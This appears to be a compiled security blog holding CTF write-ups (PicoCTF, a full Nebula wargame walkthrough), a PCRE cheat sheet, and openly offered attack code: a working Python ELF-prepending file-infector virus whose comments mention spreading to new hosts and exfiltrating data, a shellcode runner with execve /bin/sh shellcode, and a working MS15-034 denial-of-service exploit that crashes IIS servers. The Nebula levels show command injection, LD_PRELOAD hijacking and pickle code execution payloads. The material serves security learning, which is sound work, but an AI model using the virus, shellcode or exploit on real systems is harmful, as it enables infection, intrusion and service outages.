# PicoCTF 2k14 - ECC


Problem

String Encoding: ASCII

def STR(a):
    a = str(a)
    # Yes, this is a little bit silly :-)
    for i in range(0, len(a) - 1, 2):
            print(chr(int(a[i:i+2]))),

e.g. STR(7269767679) = "HELLO"

Cryptosystem:
Elliptic Curve: y^2 = x^3 + ax + b mod n
a = 0
b = ?
n = 928669833265826932708591

Encryption: C = e * M mod n
Decryption: M = d * C mod n
e = 141597355687225811174313
d = 87441340171043308346177
C = (236857987845294655469221, 12418605208975891779391)
STR(M.x) + STR(M.y) = ?

Solution

# apt-add-repository -y ppa:aims/sagemath
# apt-get update
# apt-get install sagemath-upstream-binary
# sage

sage: y = 12418605208975891779391
sage: x = 236857987845294655469221
sage: a = 0
sage: n = 928669833265826932708591
sage: b = (y**2 - x**3 - a*x) % n
sage: b
268892790095131465246420

sage: F = FiniteField(n)
sage: E = EllipticCurve(F, [a, b])
sage: G = E.point((x, y))
sage: d = 87441340171043308346177
sage: M = G * d
sage: M
(6976767380847367326785 : 828669833265826932708578 : 1)

In [1]: print STR(6976767380847367326785), STR(828669833265826932708578)
ELLIPTIC CURVES ARE FUN

References

https://www.youtube.com/watch?v=vnpZXJL6QCQ

# PicoCTF 2k13 - Harder serial


# cat harder_serial.py
#!/usr/bin/env python
# Looks like the serial number verification for space ships is similar to that
# of your robot. Try to find a serial that verifies for this space ship

import sys
print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase")
if len(sys.argv) < 2:
 print ("Usage: %s [serial number]"%sys.argv[0])
 exit()

print ("#>" + sys.argv[1] + "<#")

def check_serial(serial):
 if (not set(serial).issubset(set(map(str,range(10))))):
  print ("only numbers allowed")
  return False
 if len(serial) != 20:
  return False
 if int(serial[15]) + int(serial[4]) != 10:
  return False
 if int(serial[1]) * int(serial[18]) != 2:
  return False
 if int(serial[15]) / int(serial[9]) != 1:
  return False
 if int(serial[17]) - int(serial[0]) != 4:
  return False
 if int(serial[5]) - int(serial[17]) != -1:
  return False
 if int(serial[15]) - int(serial[1]) != 5:
  return False
 if int(serial[1]) * int(serial[10]) != 18:
  return False
 if int(serial[8]) + int(serial[13]) != 14:
  return False
 if int(serial[18]) * int(serial[8]) != 5:
  return False
 if int(serial[4]) * int(serial[11]) != 0:
  return False
 if int(serial[8]) + int(serial[9]) != 12:
  return False
 if int(serial[12]) - int(serial[19]) != 1:
  return False
 if int(serial[9]) % int(serial[17]) != 7:
  return False
 if int(serial[14]) * int(serial[16]) != 40:
  return False
 if int(serial[7]) - int(serial[4]) != 1:
  return False
 if int(serial[6]) + int(serial[0]) != 6:
  return False
 if int(serial[2]) - int(serial[16]) != 0:
  return False
 if int(serial[4]) - int(serial[6]) != 1:
  return False
 if int(serial[0]) % int(serial[5]) != 4:
  return False
 if int(serial[5]) * int(serial[11]) != 0:
  return False
 if int(serial[10]) % int(serial[15]) != 2:
  return False
 if int(serial[11]) / int(serial[3]) != 0:
  return False
 if int(serial[14]) - int(serial[13]) != -4:
  return False
 if int(serial[18]) + int(serial[19]) != 3:
  return False
 return True

if check_serial(sys.argv[1]):
 print ("Thank you! Your product has been verified!")
else:
 print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number")

# cat sol.py 
from z3 import *

serial = IntVector('serial', 20)

s = Solver()
 
s.add(0 <= serial[0]); s.add(0 <= serial[1])
s.add(0 <= serial[2]); s.add(1 <= serial[3])
s.add(0 <= serial[4]); s.add(0 <= serial[5])
s.add(0 <= serial[6]); s.add(0 <= serial[7])
s.add(0 <= serial[8]); s.add(1 <= serial[9])
s.add(0 <= serial[10]); s.add(0 <= serial[11])
s.add(0 <= serial[12]); s.add(0 <= serial[13])
s.add(0 <= serial[14]); s.add(0 <= serial[15])
s.add(0 <= serial[16]); s.add(0 <= serial[17])
s.add(0 <= serial[18]); s.add(0 <= serial[19])

s.add(serial[0] < 10); s.add(serial[1] < 10)
s.add(serial[2] < 10); s.add(serial[3] < 10)
s.add(serial[4] < 10); s.add(serial[5] < 10)
s.add(serial[6] < 10); s.add(serial[7] < 10)
s.add(serial[8] < 10); s.add(serial[9] < 10)
s.add(serial[10] < 10); s.add(serial[11] < 10)
s.add(serial[12] < 10); s.add(serial[13] < 10)
s.add(serial[14] < 10); s.add(serial[15] < 10)
s.add(serial[16] < 10); s.add(serial[17] < 10)
s.add(serial[18] < 10); s.add(serial[19] < 10)

s.add(serial[15] + serial[4] == 10);
s.add(serial[1] * serial[18] == 2)
s.add(serial[15] / serial[9] == 1);
s.add(serial[17] - serial[0] == 4)
s.add(serial[5] - serial[17] == -1);
s.add(serial[15] - serial[1] == 5)
s.add(serial[1] * serial[10] == 18);
s.add(serial[8] + serial[13] == 14)
s.add(serial[18] * serial[8] == 5);
s.add(serial[4] * serial[11] == 0)
s.add(serial[8] + serial[9] == 12);
s.add(serial[12] - serial[19] == 1)
s.add(serial[9] % serial[17] == 7);
s.add(serial[14] * serial[16] == 40)
s.add(serial[7] - serial[4] == 1);
s.add(serial[6] + serial[0] == 6)
s.add(serial[2] - serial[16] == 0);
s.add(serial[4] - serial[6] == 1)
s.add(serial[0] % serial[5] == 4);
s.add(serial[5] * serial[11] == 0)
s.add(serial[10] % serial[15] == 2);
s.add(serial[11] / serial[3] == 0)
s.add(serial[14] - serial[13] == -4);
s.add(serial[18] + serial[19] == 3)

if s.check() == sat:
 print s.model()

$ python sol.py
[serial__17 = 8,
 serial__19 = 2,
 serial__14 = 5,
 serial__9 = 7,
 serial__7 = 4,
 serial__18 = 1,
 serial__11 = 0,
 serial__3 = 1,
 serial__16 = 8,
 serial__1 = 2,
 serial__4 = 3,
 serial__6 = 2,
 serial__15 = 7,
 serial__8 = 5,
 serial__10 = 9,
 serial__13 = 9,
 serial__5 = 7,
 serial__2 = 8,
 serial__0 = 4,
 serial__12 = 3]

# ELF prepender in python


# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 34K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1a041b19449828face10d6ddcf7cffe259196923, stripped
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

# ./infect.py @ /usr/bin/id

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: Python script, ASCII text executable, with very long lines
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id

# cat infect.py
#!/usr/bin/env python

from base64 import b64decode, b64encode
from os import chmod, chown, execv, fork, path as p, remove, stat, utime, wait
from sys import argv
from zlib import compress, decompress



class IO:

 def __init__(self, path):
  self.path = path
  self.stat = stat(path)
  if self.data is None:
   self.data = self.Encode()

 def Decode(self, data):
  return decompress(b64decode(data))

 def Encode(self):
  with open(self.path, 'rb') as f:
   data = f.read()
  return b64encode(compress(data))

 def WriteToDisk(self, data = None):
  if data == None:
   data = self.Decode(self.data)
  with open(self.path, 'wb') as f:
   f.write(data)
  chown(self.path, self.stat.st_uid, self.stat.st_gid)
  chmod(self.path, self.stat.st_mode)
  utime(self.path, (self.stat.st_atime, self.stat.st_mtime))



class Host(IO):

 def __init__(self, path):
  self.infected = False
  self.data = False
  IO.__init__(self, path)

 def Infected(self):
  infected = 'self.infected = True'
  data = self.Decode(self.Encode())
  if infected in data[:1000]:
   return True
  else:
   return False

 def Run(self, arg):
  execv(arg[0], arg)



class Virus(IO):

 def __init__(self, arg):
  self.arg = arg
  self.data = None
  IO.__init__(self, p.abspath(__file__))

 def InfectHost(self, path):
  host = Host(path)
  if not host.Infected():
   infect = self.Decode(self.Encode())
   infect = infect.replace('False', 'True', 1)
   infect = infect.replace('False', "'" + host.Encode() + "'", 1)
   host.WriteToDisk(infect)

 def Run(self):
  if len(self.arg) > 1 and self.arg[1] == '@':
   self.InfectHost(self.arg[2])
  else:
   # First: Run the host program
   self.RunHost()
   # Second: Do other things like ...
   ## - Find and infect new hosts
   ## - Exfiltrate data
   ## - ...

 def RunHost(self):
  data = self.Encode()
  host = Host(self.path)
  host.WriteToDisk()
  pid = fork()
  if pid == 0:
   host.Run(self.arg)
  else:
   wait()
   self.WriteToDisk()



if __name__ == "__main__": Virus(argv).Run()

# Execute shellcode in python


$ cat runshellcode.py
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from sys import argv


libc = CDLL('libc.so.6')

shellcode = argv[1].replace('\\x', '').decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()
$ uname -m
x86_64
$ # 23 bytes - Gu Zhengxiong
$ python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
len = 23
0x1000: xor esi, esi
0x1002: movabs  rbx, 0x68732f2f6e69622f
0x100c: push  rsi
0x100d: push  rbx
0x100e: push  rsp
0x100f: pop rdi
0x1010: push  0x3b
0x1012: pop rax
0x1013: xor edx, edx
0x1015: syscall
$ python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
$
$ uname -m
i686
$ # 21 bytes - Gu Zhengxiong
$ python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
len = 21
0x1000: xor ecx, ecx
0x1002: mul ecx
0x1004: mov al, 0xb
0x1006: push  ecx
0x1007: push  0x68732f2f
0x100c: push  0x6e69622f
0x1011: mov ebx, esp
0x1013: int 0x80
$ python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
$
$ cat disassemble.py
from sys import argv
from capstone import *

CODE = argv[3].replace('\\x', '').decode('hex')
print 'len =', len(CODE)

ARCH = {
  'all'   : CS_ARCH_ALL,
  'arm'   : CS_ARCH_ARM,
  'arm64'   : CS_ARCH_ARM64,
  'mips'    : CS_ARCH_MIPS,
  'ppc'   : CS_ARCH_PPC,
  'x86'   : CS_ARCH_X86,
  'xcore'   : CS_ARCH_XCORE
}

MODE = {
  '16'    : CS_MODE_16, 
  '32'    : CS_MODE_32,
  '64'    : CS_MODE_64,
  'arm'   : CS_MODE_ARM,
  'be'    : CS_MODE_BIG_ENDIAN,
  'le'    : CS_MODE_LITTLE_ENDIAN,
  'micro'   : CS_MODE_MICRO,
  'n64'   : CS_MODE_N64,
  'thumb'   : CS_MODE_THUMB
}

md = Cs(ARCH[argv[1]], MODE[argv[2]])
for i in md.disasm(CODE, 0x1000):
  print '0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)

# Serializing functions with marshal


# cat serializer.py
import base64
import marshal

def function(msg):
 print msg

print base64.b64encode(marshal.dumps(function.func_code))
# cat runner.py 
import base64
import marshal
import sys
import types

code = marshal.loads(base64.b64decode(sys.argv[1]))
func = types.FunctionType(code, globals())
func('Test')
# python serializer.py
YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
Test

# Nebula


Level 00

$ find / -user flag00 -perm -4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
$ /bin/.../flag00
Congrats, now run getflag to get your flag!
$ /bin/getflag
You have successfully executed getflag on a target account

Level 01

$ ln -s /bin/getflag /tmp/echo
$ PATH=/tmp:$PATH
$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level 02

$ USER=';/bin/getflag;#'
$ /home/flag02/flag02
about to call system("/bin/echo ;/bin/getflag;# is cool")

You have successfully executed getflag on a target account

Level 03

$ echo -en '#!/bin/sh\n\n/bin/getflag > /tmp/flag03' > /home/flag03/writable.d/l03.sh
$ cat /tmp/flag03
You have successfully executed getflag on a target account

Level 04

$ ln -s /home/flag04/token /tmp/t0k3n
$ /home/flag04/flag04 /tmp/t0k3n
06508b5e-8909-4f38-b630-fdb148a848a2
$ su -l flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
$ /bin/getflag
You have successfully executed getflag on a target account

Level 05

$ tar xvzf /home/flag05/.backup/backup-19072011.tgz -C /tmp/.
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
$ ssh -i /tmp/.ssh/id_rsa flag05@localhost /bin/getflag
You have successfully executed getflag on a target account

Level 06

$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > /tmp/flag06.pw
$ john /tmp/flag06.pw 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
$ su -l flag06
Password: hello
$ /bin/getflag
You have successfully executed getflag on a target account

Level 07

$ nc localhost 7007
GET /index.cgi?Host=localhost|/bin/getflag
Content-type: text/html

<html><head><title>Ping results</title></head><body><pre>
You have successfully executed getflag on a target account
</pre></body></html>

Level 08

$ wireshark capture.pcap
# Follow TCP Stream + Hexdump
000000D6  00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Password: 
000000B9  62 b
000000BA  61 a
000000BB  63 c
000000BC  6b k
000000BD  64 d
000000BE  6f o
000000BF  6f o
000000C0  72 r
000000C1  7f . <DEL>
000000C2  7f . <DEL>
000000C3  7f . <DEL>
000000C4  30 0
000000C5  30 0
000000C6  52 R
000000C7  6d m
000000C8  38 8
000000C9  7f . <DEL>
000000CA  61 a
000000CB  74 t
000000CC  65 e
000000CD  0d .
$ su -l flag08
Password: backd00Rmate
$ /bin/getflag 
You have successfully executed getflag on a target account

Level 09

$ echo '[email ${`/bin/echo;/usr/bin/id;/bin/getflag;/bin/echo`}]' > /tmp/l09
$ /home/flag09/flag09 /tmp/l09
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined variable: 
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
You have successfully executed getflag on a target account

 in /home/flag09/flag09.php(15) : regexp code on line 1

Level 10

$ nc -v -k -l localhost 18211
$ for i in `seq 1 1000`; do ln -f -s /etc/hostname /tmp/token; /home/flag10/flag10 /tmp/token localhost & ln -f -s /home/flag10/token /tmp/token; done
$ nc -v -k -l localhost 18211
Connection from localhost port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ su -l flag10
Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ /bin/getflag
You have successfully executed getflag on a target account

Level 11

$ PATH=/tmp:$PATH
$ ln -s /bin/getflag /tmp/c
$ cat /tmp/11a.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = 'c'

payload = command
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11a.py
$ /tmp/11a.py | /home/flag11/flag11
You have successfully executed getflag on a target account
$ TEMP=/tmp
$ cat /tmp/11b.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = '/bin/getflag;'
comment = '#'
padding = 'A' * (1024 - len(command) - len(comment))

payload = command + comment + padding
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11b.py
$ /tmp/11b.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Level 12

$  nc localhost 50001 
Password:  4754a4f4bd5787accd33de887b9250a0691dd198; /bin/getflag > /tmp/flag12 # 
Congrats, your token is 413**CARRIER LOST**
$  cat /tmp/flag12 
You have successfully executed getflag on a target account

Level 13

$ cp /home/flag13/flag13 /tmp/.
$ echo 'int getuid() { return 1000; }' > /tmp/libfake.c
$ gcc -shared /tmp/libfake.c -o /tmp/libfake.so
$ LD_PRELOAD=/tmp/libfake.so /tmp/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su -l flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
$ /bin/getflag
You have successfully executed getflag on a target account

Level 14

$ /home/flag14/flag14 -e
123456
13579;
$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
$ cat /tmp/l14.py
#!/usr/bin/env python

import sys

token = sys.argv[1]

decrypted = ''
i = 0

for c in token:
 print '[' + c + '] -->',
 r = chr(ord(c) - i % 255)
 print r
 i += 1
 decrypted += r

print decrypted
$ /tmp/l14.py 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
[8] --> 8
[5] --> 4
[7] --> 5
[:] --> 7
[g] --> c
[6] --> 1
[7] --> 1
[?] --> 8
[5] --> -
[A] --> 8
[B] --> 8
[B] --> 7
[o] --> c
[:] --> -
[B] --> 4
[t] --> e
[D] --> 4
[A] --> 0
[?] --> -
[t] --> a
[I] --> 5
[v] --> a
[L] --> 6
[D] --> -
[K] --> 3
[L] --> 3
[{] --> a
[M] --> 2
[Q] --> 5
[P] --> 3
[S] --> 5
[R] --> 3
[Q] --> 1
[W] --> 6
[W] --> 5
[.] --> 

8457c118-887c-4e40-a5a6-33a25353165
$ su -l flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
$ /bin/getflag
You have successfully executed getflag on a target account

Level 15

$ strace /home/flag15/flag15
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
...
$ cat /tmp/libfake.c 
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
 system(SHELL);
 return 0;
}
$ cat /tmp/version 
GLIBC_2.0{};
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=/tmp/version,-Bstatic -o /var/tmp/flag15/libc.so.6 /tmp/libfake.c
$ /home/flag15/flag15
$ /bin/getflag
You have successfully executed getflag on a target account

Level 16

$ cat /tmp/L16
#!/bin/bash

/bin/getflag > /tmp/flag16
$ nc localhost 1616
GET /index.cgi?username=`/*/L16`
Content-type: text/html

<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
$ cat /tmp/flag16
You have successfully executed getflag on a target account

Level 17

$ cat /tmp/l17.py
import os
import pickle
import socket

class GetFlag(object):
 def __reduce__(self):
  return (os.system, ('/bin/getflag > /tmp/flag17', ))

payload = pickle.dumps(GetFlag())

host = 'localhost'
port = 10007

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send(payload)
client.close()
$ python /tmp/l17.py
$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level 18

$ cat /tmp/Starting 
/usr/bin/id
/bin/getflag
$ chmod +x /tmp/Starting
$ PATH=/tmp:$PATH
$ python -c "print 'login me\n'*1021 + 'closelog\n'*1021 + 'shell\n'" | /home/flag18/flag18 --rcfile -d /tmp/debug -v -v -v 2> /dev/null
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
You have successfully executed getflag on a target account

Level 19

$ cat /tmp/fork.c
#include <unistd.h>

int main(){
 pid_t pid = fork();
 if(pid == 0){
  // Child
  char *path = "/home/flag19/flag19";
  char *cmd[] = {"/bin/sh", "-c", "/bin/echo && /usr/bin/id && /bin/getflag"};
  sleep(2);
  execv(path, cmd);
 }
 return 0;
}
$ gcc -o /tmp/fork /tmp/fork.c
$ /tmp/fork
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account
$ cat /tmp/fork.py
import os
import time

def child():
 time.sleep(2)
 os.execv('/home/flag19/flag19', ['/bin/sh', '-c', '/bin/echo && /usr/bin/id && /bin/getflag'])

def parent():
 pid = os.fork()
 if pid == 0:
  child()

parent()
$ python /tmp/fork.py
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account

Reference

https://exploit-exercises.com/nebula/

# CVE-2015-1635: Check and exploit MS15-034


# cat cve-2015-1635.py
#!/usr/bin/env python


"""cve-2015-1635.py: DoS PoC"""


import argparse, BeautifulSoup, re, requests, socket, sys, urlparse


__author__  = 't0n1'
__credits__ = 'sha0'


LOW  = '2'
HIGH = '18446744073709551615'
UA   = 'Mozilla/5.0'
TOUT = 3
MAX  = 262144


s = requests.Session()


def parse_url(url):
 url = urlparse.urljoin(URL, url)
 parsed = urlparse.urlparse(url)
 return parsed.scheme + '://' + parsed.netloc + parsed.path


def get_content_length(url):
 h = {
  'User-agent': UA,
 }
 r = s.head(url, headers = h, verify = False)
 return int(r.headers['content-length'])
  

def get_resource(html):
 parsed = urlparse.urlparse(URL)
 urllist = []
 soup = BeautifulSoup.BeautifulSoup(html)
 for img in soup.findAll('img', src = True):
  urllist.append(parse_url(img['src']))
 for link in soup.findAll('a', href = True):
  urllist.append(parse_url(link['href']))
 for url in urllist:
  if parsed.netloc not in url:
   continue
  cl = get_content_length(url)
  if 0 < cl and cl <= MAX:
   print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
   return url
 cl = get_content_length(URL)
 print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
 return URL


def check_iis():
 global URL
 h = {
  'User-agent': UA,
 }
 r = s.get(URL, headers = h, verify = False)
 print '[+] URL = ' + URL
 if 'server' in r.headers.keys():
  server = r.headers['server']
  if 'iis' in server.lower():
   print '[+] Server HTTP Header = ' + server
   if r.status_code == 200:
    print '[+] Status Code = 200'
    URL = get_resource(r.text)
    return True
   else:
    print '[-] Status Code = ' + str(r.status_code)
    return False
  else:
   print '[-] Server HTTP Header = ' + server
   return False
 else:
  print '[-] Not Server HTTP Header'
  return False


def check_vulnerable():
 h = {
  'User-agent': UA,
  'Range': 'bytes=0-' + HIGH
 }
 r = s.get(URL, headers = h, verify = False)
 if r.status_code == 416:
  print '[+] >>>>>>>>>> Vulnerable | Status Code = 416'
  return True
 elif r.status_code == 400:
  print '[-] Not vulnerable | Status Code = 400 | Patched?'
  return False
 else:
  print '[-] Not vulnerable | Status Code = ' + str(r.status_code)
  return False


def exploit():
 h = {
  'User-agent': UA,
  'Range': 'bytes=' + LOW + '-' + HIGH
 }
 try:
  r = s.get(URL, headers = h, timeout = TOUT, verify = False)
  if r.status_code == 206:
   print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?'
 except requests.exceptions.ConnectionError:
  pass
 except requests.exceptions.Timeout:
  print '[+] Blue Screen of Death! Game Over!'


parser = argparse.ArgumentParser()
parser.add_argument('-u', dest = 'url', help = 'Target', required = True)
parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False)


args = parser.parse_args()
URL = args.url


if check_iis():
 if check_vulnerable():
  if args.exploit == True:
   exploit()

# ./cve-2015-1635.py -h
usage: cve-2015-1635.py [-h] -u URL [-e]

optional arguments:
  -h, --help  show this help message and exit
  -u URL      Target
  -e          Exploit

# ./cve-2015-1635.py -u http://127.0.0.1:8080
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416

# ./cve-2015-1635.py -u http://127.0.0.1:8080 -e
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416
[+] Blue Screen of Death! Game Over!


References

https://technet.microsoft.com/library/security/ms15-034

# PCRE (Perl Compatible Regular Expression)


General Tokens

\n Newline
\r Carriage return
\t Tab
\0 Null character

Anchors

\G Start of match. Will match at the position the previous successful match ended
^ Start of string (multiline mode). Will match after each newline character
$ End of string (multiline mode). Will match before each newline character
\A Start of string
\Z End of string. Will match before last newline character
\z End of string. Will match at the end of a string
\b A word boundary. Will match between \w and \W
\B Non-word boundary. Will match between two characters matched by \w

Meta Sequences

. Any single character
\s Any whitespace
\S Any non-whitespace
\d Any digit
\D Any non-digit
\w Any word
\W Any non-word
\X Any unicode sequences
\C Match one data unit
\R Unicode newline
\v Vertical whitespace
\h Horizontal whitespace
\H Non-horizontal whitespace
\K Reset match: sets the given position as the new start
\n Match nth subpattern (backreference)
\pX Unicode property X
\PX Non-unicode property X
\p{...} Unicode properties
\P{...} Non-unicode properties
\Q...\E Any characters between will be treated as literals
\k<name> Match subpattern 'name'
\k'name' Match subpattern 'name'
\k{name} Match subpattern 'name'
\gn Match nth subpattern
\g{n} Match nth subpattern
\g{-n} Match nth group before current position
\g'name' Recurse subpattern 'name'
\g<n> Recurse nth subpattern
\g'n' Recurse nth subpattern
\g<+n> Recurse nth relative subpattern
\g'+n' Recurse nth relative subpattern
\xYY Hex character YY
\x{YYYY} Hex character YYYY
\ddd Octal character ddd
\cY Control character Y
\b Backspace character
\ Makes any character literal

Quantifiers

a? Zero or one a
a* Zero or more of a
a+ One or more of a
a{3} Exactly 3 of a
a{3,} 3 or more of a
a{3,6} Between 3 and 6 of a
a* Greedy quantifier
a*? Lazy/Reluctant quantifier
a*+ Possessive quantifier

Group Constructs

(...) Capture everything enclosed
(a|b) a or b
(?:...) Match everything enclosed but won't create a capture group
(?>...) Atomic group
(?|...) Duplicate subpattern group
(?#...) Comment
(?'name'...) Named capturing group
(?<name>...) Named capturing group
(?P<name>...) Named capturing group
(?imsxXU) Inline modifiers
(?(...)|) Conditional statement
(?R) Recurse entire pattern
(?1) Recurse first subpattern
(?+1) Recurse first relative subpattern
(?&name) Match subpattern 'name'
(?P>name) Match subpattern 'name'
(?=...) Positive lookahead
(?!...) Negative lookahead
(?<=...) Positive lookbehind
(?<!...) Negative lookbehind

Character classes

[abc] A character: a, b or c
[^abc] A character except: a, b or c
[a-z] A character in the range: a-z
[a-z] A character not in the range: a-z
[a-zA-Z] A character in the range: a-z or A-Z
[[:alnum:]] Letter or digit
[[:alpha:]] Letter
[[:ascii:]] Ascii code in the range: 0-127
[[:blank:]] Space or tab
[[:cntrl:]] Control character
[[:digit:]] Digit
[[:graph:]] Visible character (not space)
[[:lower:]] Lower character
[[:print:]] Visible character
[[:punct:]] Visible punctuation character
[[:space:]] Whitespace
[[:upper:]] Uppercase character
[[:word:]] Word
[[:xdigit:]] Hexadecimal digit

Flags/Modifiers

g Global
m Multiline
i Case insensitive
x Ignore whitespace
s Single line
u Unicode
X Extended
U Ungreedy
A Anchor

Substitution

\0 Complete match contents
\1 Contents in capture group 1
\g<1> Contents in capture group 1
$1 Contents in capture group 1
${foo} Contents in capture group 'foo'
\{foo} Contents in capture group 'foo'
\g{foo} Contents in capture group 'foo'
\xYY Hexadecimal replacement
\x{YYZZ} Hexadecimal replacement
\t Tab
\r Carriage return
\n Newline
\f Form-feed

PCRE tester

# perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "preval("
Found floating substr "eval(" at offset 2...
Starting position does not contradict /^/m...
Guessed: match at offset 1
Matching REx "(^|\s)eval\(" against "reval("
   1 <preval(>|  1:OPEN1(3)
   1 <preval(>|  3:BRANCH(5)
   1 <preval(>|  4:  BOL(7)
                                    failed...
   1 <preval(>|  5:BRANCH(7)
   1 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
   2 <preval(>|  1:OPEN1(3)
   2 <preval(>|  3:BRANCH(5)
   2 <preval(>|  4:  BOL(7)
                                    failed...
   2 <preval(>|  5:BRANCH(7)
   2 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
Match failed
Freeing REx: "(^|\s)eval\("

# perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "eval("
Found floating substr "eval(" at offset 0...
Guessed: match at offset 0
Matching REx "(^|\s)eval\(" against "eval("
   0 <eval(>|  1:OPEN1(3)
